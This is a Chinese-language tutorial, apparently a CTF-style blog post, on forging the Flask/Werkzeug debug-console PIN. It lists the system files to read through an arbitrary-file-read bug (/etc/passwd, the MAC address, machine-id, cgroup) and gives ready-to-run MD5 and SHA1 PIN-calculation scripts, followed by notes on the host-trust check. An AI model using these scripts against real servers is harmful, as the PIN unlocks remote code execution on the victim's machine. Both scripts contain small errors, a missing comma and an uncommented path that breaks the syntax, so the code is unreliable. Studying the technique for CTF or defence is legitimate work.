前置知识

Flask 的 PIN 码计算仅与 werkzeug 的 debug 模块有关。

与 Python 版本无关!!!
werkzeug 低版本使用 MD5,高版本使用 SHA1,现在绝大多数都是高版本的利用

常见触发debug模式方式:
1: 访问 /console 默认路由

2: 触发异常,如传不存在的参数,传空字符截断(url编码为%00)等

pin码生成要六要素

1.username 在可以任意文件读的条件下读 读/etc/passwd
2.modname 默认flask.app
3.appname 默认Flask
4.moddir flask库下app.py的绝对路径,通过报错拿到--即上面获得到的/usr/local/lib/python3.10/site-packages/flask/app.py

5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address (读取的是16进制要转为10进制,-号去掉)
6.machine_id 机器码 (-号保留)

machine-id是通过**三个文件**里面的内容经过处理后拼接起来

1. /etc/machine-id(一般仅非docker机有,截取全文)
2. /proc/sys/kernel/random/boot_id(一般仅非docker机有,截取全文)
3. /proc/self/cgroup(一般仅docker有,**仅截取最后一个斜杠后面的内容**)
# 例如:11:perf_event:/docker/docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope
# 则只截取docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope拼接到后面
文件12按顺序读,**12只要读到一个**就可以了,1读到了,就不用读2了。
文件3如果存在的话就截取,不存在的话就不用管
最后machine-id=(文件1或文件2)+文件3(存在的话)

(-----转载的释义------)
参考博客:
https://blog.hz2016.com/2023/07/flask%E8%B0%83%E8%AF%95%E6%A8%A1%E5%BC%8Fpin%E5%80%BC%E8%AE%A1%E7%AE%97%E5%92%8C%E5%88%A9%E7%94%A8/

https://blog.csdn.net/qq_35782055/article/details/129126825

pin码计算

低版本(werkzeug1.0.x)

import hashlib
from itertools import chain
 
probably_public_bits = [
    'root'#username,通过/etc/passwd
    'flask.app',#modname,默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.7/site-packages/flask/app.py'# moddir,通过报错获得
]
 
private_bits = [
    '25214234362297',  # mac十进制值 /sys/class/net/ens0/address
    '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'  # 低版本直接/etc/machine-id
]
 
# 下面为源码里面抄的,不需要修改
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
 
cookie_name = '__wzd' + h.hexdigest()[:20]
 
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
 
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
        else:
            rv = num
 
print(rv)

高版本(werkzeug>=2.0.x)

import hashlib
from itertools import chain
 
probably_public_bits = [
    'root'#/etc/passwd
    'flask.app',#默认值
    'Flask',#默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py'#moddir,报错得到
]
 
private_bits = [
    '2485377568585',/sys/class/net/eth0/address 十进制
    '653dc458-4634-42b1-9a7a-b22a082e1fce898ba65fb61b89725c91a48c418b81bf98bd269b6f97002c3d8f69da8594d2d2'
    #看上面machine-id部分
]
 
# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
 
cookie_name = '__wzd' + h.hexdigest()[:20]
 
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
 
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
 
print(rv)

调起交互控制台的前置要求(安全检查)

先说结论,debug模式存在安全机制。服务器会先通过获取http请求host头,用来与判断访问来源是否在安全名单中,以此决定是否启用交互控制台。若访问来源不再安全名单中,客户端尝试访问控制台获取尝试认证,均会报状态码400。

对werkzeug源码进行本地分析

我本地路径为:D:\python\Lib\site-packages\werkzeug\debug

可以发现__init__.py中,存在一个安全校验机制,只对安全名单范围内的主机开放交互控制台认证。

flask-debug.png

继续跟踪check_host_trust 方法。可以发现是通过HTTP头部HOST来获取并验证主机

    def check_host_trust(self, environ: WSGIEnvironment) -> bool:
        return host_is_trusted(environ.get("HTTP_HOST"), self.trusted_hosts)

pin码计算部分引用自https://blog.hz2016.com/2023/07/flask%E8%B0%83%E8%AF%95%E6%A8%A1%E5%BC%8Fpin%E5%80%BC%E8%AE%A1%E7%AE%97%E5%92%8C%E5%88%A9%E7%94%A8/

国家一级保护废物